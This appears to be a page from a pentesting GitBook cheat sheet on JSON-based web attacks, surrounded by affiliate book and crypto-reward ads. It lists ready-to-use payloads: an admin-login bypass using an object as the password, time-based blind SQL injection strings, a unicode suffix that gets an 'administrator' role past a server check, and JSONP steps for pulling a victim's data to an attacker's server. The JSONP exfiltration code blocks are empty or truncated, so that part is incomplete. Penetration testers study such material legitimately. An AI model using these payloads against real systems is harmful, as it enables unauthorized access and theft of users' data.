> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/json-attack.md).
# JSON Attack
[](https://ko-fi.com/Y8Y41FQ2GA)
{% content-ref url="/pages/2nQo9jQkGanSbcZGflSg" %}
[REST API](/0xss0rz/pentest/api/rest-api.md)
{% endcontent-ref %}
## Bypass Admin Login
```
POST /api/login HTTP/1.1
Host: vuln-web.io
[...]
{"username":"admin","password":{"password": 1}}
```
## Blind SQL Injection
```
[-1+or+1%3d((SELET+1+FROM+(SELECT+SLEEP(5))A))]
{AnD SLEEP(5)}
{1 AnD SLEEP(5)}
{1' AnD SLEEP(5)--}
{sleep 5}
"emails":["AnD SLEEP(5)"]
"emails":["test@test.com OR SLEEP(5)#"]
{"options":{"id":[],"emails":["AnD SLEEP(5)"],
```
## Add Parameter
{% embed url="" %}
## JSON Injection
```json
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
```
Add `\ud888`
```json
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
```
{% embed url="" %}
## JSON Padding, JSONP
{% embed url="" %}
### Detection
* Add a callback parameter to a JSON URL, by appending `?callback=something` to the URL.
* When a format type is provided, change it to JSONP. Change `?format=json` to `?format=jsonp`.
### Exploit
Json file
Add a query parameter of callback like this
```
https://user.redact.com/payment/wallet/balance?callback=call_me
```
If the endpoint has **JSONP** enabled it will create an object with the name of **call\_me** and all the data will be inside that object like this.
Exploitation: create a **.html file** which will extract the data and store it on your desired server. You just have to send the URL to the victim
```
Test JSON Padding Attack
```
### XSSI an JSONP
{% embed url="" %}
{% embed url="" %}
On your own server
```
Regular XSSI
```
Exfiltration
```
```
## JSON Globbing
{% content-ref url="/pages/IOD663Ce41jBvBI2oynu" %}
[IDOR](/0xss0rz/pentest/api/idor.md)
{% endcontent-ref %}
## Node.js
{% content-ref url="/pages/oHCIda536LV9ajRnQ90V" %}
[Node.js](/0xss0rz/pentest/public-exploit/node.js.md)
{% endcontent-ref %}
## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)
[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)
## Interesting Books
{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}
{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}
* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.